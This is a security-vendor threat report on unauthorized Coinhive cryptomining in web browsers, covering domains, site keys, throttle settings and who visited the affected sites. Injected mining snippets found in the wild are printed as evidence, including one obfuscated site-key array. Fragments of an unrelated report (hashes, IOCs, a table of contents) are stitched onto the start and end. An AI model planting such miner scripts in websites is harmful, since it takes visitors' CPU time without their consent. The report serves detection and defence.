ece76fdf7e33d05a757ef5ed020140d9367c7319022a889923bbfacccb58f4d7

106deff16a93c4a4624fe96e3274e1432921c56d5a430834775e5b98861c00ea

Appendix 2 – IOCs

Pal4u[.]net

Pal2me[.]net

Pay2earn[.]net

Shop8d[.]net

Ts4shope[.]net

pal4news[.]net

ads4market[.]net

wp.piedslibres[.]com (hijacked legitimate site)

Threat Brief: Drive-by Mining - Adapting an Old Attack to Mine Cryptocurrencies

Posted on October 17, 2017September 21, 2020 by Unit 42

On January 2, 2017, one Bitcoin was worth US $985.56.

By October 16, 2017, that same Bitcoin was worth US $ 5,707.40: a 579% increase in value in ten and a half months.

By comparison, Ethereum has gone from US $8.15 per ether on January 2, 2017 to US $342.83 per ether on October 16, 2017: a jump of 4,206%.

Cryptocurrencies are big money these days and seemingly getting bigger by the day.

And if we’ve learned one thing about cybercriminals, they follow the money.

So, it’s not surprising to see that cybercrime is turning its attention to cryptocurrencies.

In our latest research, “Unauthorized Coin Mining in the Browser”, Unit 42 researchers show how cybercriminals have taken an old tactic, hijacking web browsers without the users consent or knowledge (commonly called a “drive -by attack”), and adapted it to make money in the increasingly lucrative cryptocurrencies markets.

Before, drive-by attacks focused on abusing a browser’s legitimate download capabilities to download malware onto the victim’s system without their consent or knowledge. These new drive-by attacks focus on hijacking the computational resources of the victim’s computer to “mine” cryptocurrency on behalf of the attackers.

The focus of these attacks is to use the victim’s web browser to access the computational resources of their system. The attackers accomplish this through abuse of a legitimate tool by placing it on malicious or compromised websites and running it in the victim’s browser without his or her consent or knowledge when they visit the site. The tool is designed to “mine” cryptocurrencies, that is it earns credit in the cryptocurrency in exchange for computing power that is used to power the cryptocurrencies’ digital infrastructure. This tool has a legitimate use: sites can and do notify users that they’re using the site visitors’ resources in this way to support the site, typically as a substitute for ads on the site. But in this case, the attacker actually gets the credit that the victim’s computational resources earns without the visitors’ consent or knowledge making it a malicious attack.

Put simply, the net result is that the victim’s computer slows down (sometimes significantly) while on the malicious or compromised website. And while the computer is impacted like this, the attacker is earning money. The attacker steals the victims computing resources and translates it into a cryptocurrency like Bitcoin.

This new kind of attack tells us that at least some cybercriminals are starting to view theft of victim’s computing power to translate into cryptocurrencies as a better business proposition than the traditional practice of loading malware on the victim’s system through drive-by downloads.

And our research shows that this isn’t an isolated event. Our researchers analyzed over 1,000 of sites and what they found was very telling.

According to Alexa, 5 of these sites ranked in the top 2K of sites, 29 sites in top 10K and 155 sites in top 1 million.
While many of these sites can be dated back to 2013, we saw steady level to the number of sites until October 2017: then we saw 502 (63%) of these domains spring up suddenly.
We found these malicious and compromised sites resolved to 47 different counties with the majority being in the United States.
The greatest number of victims we could identify come from the Eastern United States with the Western United States in second. Europe and Asia Pacific came in third and fourth respectively.
In terms of the domains where we found these malicious and compromised sites, .download and .bid domains accounted for the majority, comprising more than 35% of these sites. .com and .review tied for 3^rd with 13% of the sites each.

The good news is that these attacks are more like denial of service attacks: they don’t do lasting harm to your system and they end when you leave the site.

The bad news is that these are harder to defend against than typical drive-by download attacks. Where drive-by download attacks usually exploit unpatched vulnerabilities, the root of these attacks is that they abuse otherwise legitimate functionality: you can’t prevent them by being fully patched.

Security products that take a comprehensive, layered approach can help prevent these attacks. And if you think your system is being affected by one of these attacks, you can, in most cases, end the attack by either leaving the site or closing the browser.

Most of all, this latest development shows how a changing economic landscape in turn changes the cybercrime landscape. Loading malware through drive-by downloads is so 2012: in 2017 it’s about drive-by mining attacks to earn cryptocurrencies.

Unauthorized Coin Mining in the Browser

Posted on October 17, 2017February 18, 2026 by Wei Xu

Cryptocurrencies have taken the world by storm. From the biggest player Bitcoin to newcomers such as Monero and Ethereum, cryptocurrency mining has become a hot industry due in part to powerful, dedicated mining hardware or by utilizing graphics cards’ parallel computing power. Recently, browser coin mining has taken off, for a lot of different reasons. Although the computing power per instance is much less than dedicated hardware provides, being able to utilize many users on various sites more than make up for it. There is already some media coverage on this, such as BBC, and malwarebytes. While we do not consider crypto-currency mining inside browsers malicious by itself, often such mining is going on without the end user’s consent or even knowledge that makes this practice shady and despicable.

Coinhive, one of the more popular browser-mining services out there offers site owners a piece of JavaScript for easy integration. Site owners use site visitors’ CPU time to mine XMRs (Moneros) for Coinhive, and Coinhive pays out 70% of mined value to site owners. A new player, crypto-loot emerged recently which offers similar services but pays out 88% of revenue.

Coinhive Integration

On the official Coinhive homepage, we found detailed documentation on how to integrate the mining scripts onto any given website. Owners can use the easy version:

var miner = new CoinHive.Anonymous('YOUR_SITE_KEY');
miner.start();

1 2	var miner = new CoinHive.Anonymous('YOUR_SITE_KEY'); miner.start();

or more complicated version that gives control over how the end user's CPU time should be used, e.g. how many threads, should the mining throttle.

var miner = new CoinHive.User('YOUR_SITE_KEY', 'john-doe', {
    threads: 4,
    autoThreads: false,
    throttle: 0.8,
    forceASMJS: false
});

var miner = new CoinHive.User('YOUR_SITE_KEY', 'john-doe', {

threads: 4,

autoThreads: false,

throttle: 0.8,

forceASMJS: false

});

Higher thread number and/or lower throttle number will result in more CPU usage in client's browser. With higher CPU occupation percentage, end users will likely experience sluggish behavior and poor experience on the websites.

Tracking Coinhive Integrations

We have been tracking the inclusion of Coinhive mining script (coinhive.min.js) for a week in our PANDB unknown feed. The number of URLs leading to the download of such similar scripts is astounding. Since we started tracking, we have seen anywhere from 6K unique URLs to over 10K in one single day.

Overall, we have seen over 35,119 unique URLs associated with coinhive.min.js. Across these URLs, there are a total of 144 IPs and 1,025 hostnames. Based on our observation, the appearance of these scripts can be clearly divided into three categories – standalone, voluntary, and compromised.

Standalone Hosting

URLs like this one,

hxxp://gkiqfnjtwmj[.]bid/vhyk.php%3fr=1507428652%26v=3%26ilznfamx=1322781%26zptrfkmy=%26djpsicdr=%26adymouss=%26ruxhztvq=http://cricfree[.]cc/stream2watch/bt2.php%26s=1536%2c864%2c1.83%2c2810.88%2c1581.1200000000001

always hosts the following content:

<html>
    <body>
        <script>
            var mnr = document.createElement('script');
            mnr.src = 'https://coin-hive[.]com/lib/coinhive.min.js';
            mnr.onload=function(){
                var miner=CoinHive.Anonymous('T3z562MP2Zg1lIa7RUJy19d67woeZmJJ');
                miner.start();
            };
            document.getElementsByTagName('body')[0].appendChild(mnr);
        </script>
    </body>
</html>

<html>

<body>

var mnr = document.createElement('script');

mnr.src = 'https://coin-hive[.]com/lib/coinhive.min.js';

mnr.onload=function(){

var miner=CoinHive.Anonymous('T3z562MP2Zg1lIa7RUJy19d67woeZmJJ');

miner.start();

};

document.getElementsByTagName('body')[0].appendChild(mnr);

</script>

</body>

</html>

It is worth noting that such URLs are always belong to a jibberish[.]bid domain, with a long trailing set of parameters. Of the 35,119 URLs we collected, 33,188, or 94.5% are of this category. In addition, there are 612 URLs leading to the same set of .bid domains, but with much shorter URLs, like hxxp://www.pudptxanhspld[.]bid/static/robots.txt, or even the domain itself: hxxp://www.pudptxanhspld[.]bid/.

The fact that robots.txt is hosting the exact same content as any other longer URLs with seemingly random parameters leads us to speculate that the domain will serve the same coin-mining content to all visitors, ignoring the request parameters or paths. It is interesting to speculate: why did our customer visit such weird, long, random URLs in the first place?

We give some of our speculations later in this blog.

After removing the .bid domains, we are left with 1,342 URLs, or 3.8% of the corpus. The remaining can be further categorized into the following three groups:

Voluntary: Crypto-mining related sites

We found multiple URLs related to coin/crypto/mining keywords. Some of these are forums discussing crypto-mining, while others are introducing the concept. Regardless of the purpose of the websites, we did not find any evidence that such sites are asking user's consent to mine XMRs.

Voluntary: Monetization

This category includes sites that obviously want to include coin-mining scripts to monetize. Examples of these include video/porn sites such as

xmoviesforyou[.]com
www.webze[.]tv

While they do provide their normal service to the visitors, browsing these sites do not pop up any sort of warning of coin-mining behavior for the user. A script snippet embedded in such sites can be found here:

<div style='padding-bottom:1px;'><center><iframe src="//ads.exoclick.com/iframe.php?idzone=1978420&size=728x90" width="728" height="90" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></center></div><link rel='stylesheet' id='yarppRelatedCss-group-css' href='http://www.xmoviesforyou.com/wp-content/plugins/bwp-minify/min/?f=wp-content/plugins/yet-another-related-posts-plugin/style/related.css' type='text/css' media='all' />
<script type='text/javascript' src='http://www.xmoviesforyou.com/wp-content/plugins/bwp-minify/min/?f=wp-includes/js/wp-embed.min.js'></script>
<script type="text/javascript">
var __htapop = {};
var ue84gwapead = "\/\/cpaofferstat.com\/p?zoneId=2053591-2053649";
(function() {
    var s = document.createElement('script');
    var x = document.getElementsByTagName('script')[0];
    s.src   = ue84gwapead;
    s.type  = 'text/javascript';
    s.async = true;
    x.parentNode.insertBefore(s, x);
})();
</script>
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
        var miner = new CoinHive.Anonymous('Y6SEjQDJ0cLYs8qGClt74lChPIf5EGDt', {threads: 4, throttle: 0.8});
        miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);
</script>
</body>
</html>

var __htapop = {};

var ue84gwapead = "\/\/cpaofferstat.com\/p?zoneId=2053591-2053649";

(function() {

var s = document.createElement('script');

var x = document.getElementsByTagName('script')[0];

s.src = ue84gwapead;

s.type = 'text/javascript';

s.async = true;

x.parentNode.insertBefore(s, x);

})();

</script>

var miner = new CoinHive.Anonymous('Y6SEjQDJ0cLYs8qGClt74lChPIf5EGDt', {threads: 4, throttle: 0.8});

miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);

</script>

</body>

</html>

What is more interesting is that by searching across the whole URL corpus for coinhive.min.js downloads, we found URLs such as the below

hxxp://avditmiohvtq[.]bid/y.htm%3fr=1507583452%26v=3%26jfbakqer=2246476%26ipgznbkx=%26bwxtoxtb=%26oghaenqv=%26hsvxkzhp=http://www.xmoviesforyou[.]com/2017/10/momsincontrol-rebecca-rhiannon-ryder-pussy-is-international.html%26s=1280%2c800%2c2%2c2560%2c1600

which includes xmoviesforyou[.]com as part of the URL almost like a referrer parameter. We verified that the below is indeed a valid URL leading to a subpage in the porn site.

hxxp://www.xmoviesforyou[.]com/2017/10/momsincontrol-rebecca-rhiannon-ryder-pussy-is-international.html

That site does include coinhive.min.js, but at the time of our verification prior to publishing, the inclusion is directly from https://coinhive[.]com/lib/coinhive.min[.]js and the whole page does not include any references to a suspicious .bid domain/URL. We speculate that the porn website URL may have included an iframe leading to the .bid domain, which then triggers the download of coinhive.min.js. However, this mechanism may have been later abandoned in favor of direct inclusion.

Compromised/Injected Integration

Another group of sites seem to have fallen victims of malicious script injection into their vulnerable servers. We found that www.livetruemoney[.]com uses up 100% of user's CPU time. Upon closer investigation, we found that this site is hosting multiple copies of coinhive.min.js, toward the top and bottom of the page. A similar situation happens in www.comptesofficiels[.]com/, where the snippet is injected outside of <body> tag (a common symptom for injected content), as follows:

<script src="https://pingendo[.]com/assets/bootstrap/bootstrap-4.0.0-alpha.6.min.js"></script>
</body>
<script>
    var miner = new CoinHive.Anonymous('i9uQcOE9w92MvsV8JJjb7riFlJXg8Gwh', {throttle: 0.5});
    miner.start();
  </script>
</html>

</body>

var miner = new CoinHive.Anonymous('i9uQcOE9w92MvsV8JJjb7riFlJXg8Gwh', {throttle: 0.5});

miner.start();

</script>

</html>

It is quite possible that crypto-mining has become a new injection attack in addition to traditional exploit kits redirections.

Finally, we have also seen some typo-squatting/phishing domains serving coinhive.min.js. Examples include analytics-google[.]net/track.php, and www-bank[.]ru.

Actor/Mining Configuration Analysis

According to our observation, coin mining integration scripts are rarely obfuscated, which means we can extract the anonymous 'site key' and their configurations easily. Per Coinhive's documentation, the 'site key' is a unique identifier to indicate which beneficiary will be paid, therefore, the attacker has no incentive to garble this field. Here are some interesting stats about the actors and their configurations.

Actor distribution

There is a clear winner at the top - ID t3z562mp2zg1lia7rujy19d67woezmjj claiming 35,742 over 36,842 of all the IDs we were able to retrieve. Surprisingly, querying a website source code search engine like publicWWW only returns 13 results (mostly .bid domains). The remote second and third sites scored 370 and 119 occurrences respectively, along with 8 other IDs topping 10 occurrences. A large number (146) of IDs only have 1 appearance in our dataset, and these are possibly category 2 or 3 in our integration scenarios described above – mining would benefit themselves rather than a campaign owner.

Unsurprisingly, site key owner t3z562mp2zg1lia7rujy19d67woezmjj has all the .bid URLs pointing to this payee. In addition, there are URLs such as

http://216.21.13[.]11/s%3fcid=5100604%26iuid=1619927385%26ts=1507160862%26ps=3429657830%26pw=2413%26

also using the same site key. Passive DNS analysis reveals that this IP actually was mapped to serve.popads[.]net, so it is interesting that this particular advertising network may have led to crypto-mining behavior.

In this chart, a special case sitekey stands out. There are 151 sites using it, and it is a predefined variable in previous scripts (as opposed to hardcoded string) so without dynamic analysis we are not able to retrieve its real content. We looked at a few samples and it seems that most sites using the sitekey variable are serving mining script to benefit themselves.

We found only six out of the entire URL population making more than one call to coinhive.Anonymous function (which means they could possibly be compromised by two different adversaries/serving two different payees at the same time). Upon closer inspection, all the calls actually have the same site key, so in summary we did not find evidence of one site serving more than one beneficiary. We did, however, find out that one site, lottoipros[.]com, is attempting to obfuscate its site key by using simple Unicode encoding:

var _0x8cfd=["\x56\x63\x33\x38\x75\x32\x33\x35\x51\x67\x31\x55\x6E\x48\x78\x47\x43\x52\x6A\x59\x51\x4D\x58\x70\x6E\x4A\x73\x58\x77\x4B\x4C\x69","\x73\x74\x61\x72\x74"];var miner=new CoinHive.Anonymous(_0x8cfd[0],{threads:1,autoThreads:true,throttle:0.6,forceASMJS:false})

1	var _0x8cfd=["\x56\x63\x33\x38\x75\x32\x33\x35\x51\x67\x31\x55\x6E\x48\x78\x47\x43\x52\x6A\x59\x51\x4D\x58\x70\x6E\x4A\x73\x58\x77\x4B\x4C\x69","\x73\x74\x61\x72\x74"];var miner=new CoinHive.Anonymous(_0x8cfd[0],{threads:1,autoThreads:true,throttle:0.6,forceASMJS:false})

Clearly, the site owner/injector is aware of the risks of exposing its key and is trying to hide from public scrutiny. If this trend continues, it will become harder to use static analysis to detect crypto-mining sites.

Configuration Distribution

The dominant Actor ID t3z562mp2zg1lia7rujy19d67woezmjj uses default configuration across all of observed URLs, so we exclude this actor from this analysis to prevent skew. We also exclude the 142 sites that use mineropts that go almost hand-in-hand with sites using sitekey as their site key.

This left us with 827 valid data points. Among these most sites only use 1 thread by default; however, some sites use as many as 4 threads to maximize mining speed.

Thread count	Number of sites
default (1)	772
1	28
2	7
3	1
4	19

After the default setting which disables throttling the most popular option is to set it at 0.5, so that the CPU would idle 50% of the time. It is sufficient to say that most sites are not giving user’s CPU any break at all by disabling throttling.

Throttle setting	Number of sites
default (0)	772
0.5	28
0.2	25
0.7	19
0.9	10
other values combined	35

Hosting domain analysis

In this section, we show some hosting domain stats, including PassiveDNS and Whois data analysis.

The TLD distribution for domains hosting coinhive.min.js is shown below. For brevity, we aggregated all TLDs having less than 20 entries into others category.

Clearly, the top suspects are .download and .bid domains, taking more than 35% of the total share of 1,025 domains. As expected, typically notorious TLDs like .xyz and .win is also listed.

Alexa rank distribution

We checked all associated domains against the current Alexa traffic ranking. The results are astonishing - there are 5 sites in top 2K, 29 sites in top 10K and 155 sites in top 1 million. We sample a few highest-ranking sites and show it here:

Site	Alexa Rank
uptobox[.]com	771
123movies[.]co	963
cinecalidad[.]to	1026
watchfree[.]to	1892
sugklonistiko[.]gr	1910

At the time of the writing, we can no longer observe coinhive.min.js on their sites.

The highest ranked .bid domain, llxyyocfgfg[.]bid is ranked at 3380 at the time of this writing. We have attached all these IOCs and their rankings at the end of this blog for the community's benefits.

pDNS analysis

We looked up these domains in our passive DNS (pDNS) database. 794 domains were found with records among the 1026 domains in total. We found that the first DNS query to many domains dates back to the launch date of our pDNS in 2013. Examples include uptobox[.]com, torrent[.]cd, and tiexue[.]net. This means these websites have been active for a long time. Some of them are quite popular based on their Alexa ranking. So, the potential impact of Coinhive can be high in both time and space. We also found that the first DNS query to 502 (63%) domains happened in October 2017. Based on the figure below, we can clearly see the emerging trend of these domains.

We further investigated the DNS query pattern of these domains. In particular, the following graph shows the number of DNS queries to these website per hour. Interestingly, we found that some domains exhibit very similar patterns. Although the start time and amount of traffic are slightly different, the overall pattern of traffic is very much similar in shape. This is another indicator that these domains potentially belong to the same campaign launched by the same owner.

In addition, we analyzed the distribution of IPs to which these domains were resolved. We identified 1,172 IPs in total, located in 47 different countries with the majority being in US. Below is the figure showing the country-level distribution of these IPs.

Whois analysis

Through querying public Whois server as well as Domaintools, we obtained 861 valid whois records of 1,025 domains. Below we break the results down by registrant/emails and their registration dates.

Registrant/Emails: Not much can be learned due to the fact that most (521) are privacy protected by WhoisGuard. In the remaining registrants, there are also fake ones such as Administrator and Private Person. After removing the useless entries, we are only left with 80 different registrants, with no more than one registrant appearing more than 3 times. All the .bid domains are privacy protected. Since WhoisGuard service is not free (around $3/year), the .bid campaign actors are probably earning enough profit to offset this cost.
Registration date: To better present details in registration date, we separate domains with different TLDs:

For .bid domains that we were able to retrieve whois information, most are registered after 10/01/2017 but spanning across multiple days, showing that the campaign is very recent and it has a rotating number of domains refreshing every day.

In contrast, most .download domains were registered within 3 days of 09/14-09/16, 2017, with only a handful added on later. This looks to be a different campaign than the .bid ones. We see similar registration trending on .review domains (87 out of 103 are registered on the 3rd, 7th, and 8th of October 2017).

Finally, after we exclude the suspected campaign domains (.bid, .download, .review, .top, .win), the registration dates are extremely spread out from as early as 2001 to the current date. These domains are most likely either embracing the new crypto-mining monetization fever, or compromised by attackers to take advantage of their established reputation and high-volume visitors.

Victim analysis

The URLs we crawled to detect crypto-miner presence comes from our PANDB cloud log. In this section, we analyze the demographics of visitors to such sites to shed some insights on their real-world impact.

This figure shows the general geographic distribution of visitors to crypto-mining sites. While the US clearly dominates in total visiting counts, Europe and Asia Pacific is not too far behind. This graph indicates a broad spectrum of victims all across the globe.

After breaking down visits site-by-site, we found that the most visited sites generally align with their Alexa ranking, with over 40K visits* to the 123moviews[.]co:

We only log a query when customer(s) using the same device visits the site for the first time in a TTL window. This does not count duplicate visits to the same site within a short timeframe. Therefore, the visits estimations are a lower bound.

Summary

As AdGuard has pointed out, the use of coinhive or similar mining services is itself not a malicious activity, it is how they are used that makes the sites malicious. Unfortunately, for the sites that we were able to observe engaging in crypto-mining activities, none of them has prompted the user with any sort of warning, let alone providing the kill switch for mining. With Bitcoin soaring over $5K (at time of writing), we can only expect more of such services spawning from everywhere. To protect yourself from this fast-growing threat, we recommend two options:

Palo Alto Networks is blocking URLs hosting the Coinhive JavaScript files through PANDB, which can be enforced as part of the malware category, as these scripts are consuming system resources without the users’ knowledge or consent.
In addition, popular browser plugins such as Adblock plus or Adguard will also block such mining scripts. Combine it with our firewall solution, you can rest assured that your previous CPU time and electricity is not exploited by sneaky scripts.
Users interested in top-ranked .bid, .download, and .website Domains hosting Coinhive script files included in this analysis can access them here.

Conclusion

How It Works

How to Defend Against It

Introduction

Finding the New Campaign

C2 Infrastructure

Attack Methods

Malware Analysis

Records Management System and Victims

The Adversary

Naming

Age of Campaign

Development Over Time

Conclusion

Coverage

Appendix I – Hashes

Appendix 2 – IOCs

Coinhive Integration

Tracking Coinhive Integrations

Standalone Hosting

Voluntary: Crypto-mining related sites

Voluntary: Monetization

Compromised/Injected Integration

Actor/Mining Configuration Analysis

Actor distribution

Configuration Distribution

Hosting domain analysis

Alexa rank distribution

pDNS analysis

Whois analysis

Victim analysis

Summary

Peace of mind comes from staying ahead of threats. Subscribe today.

Default Heading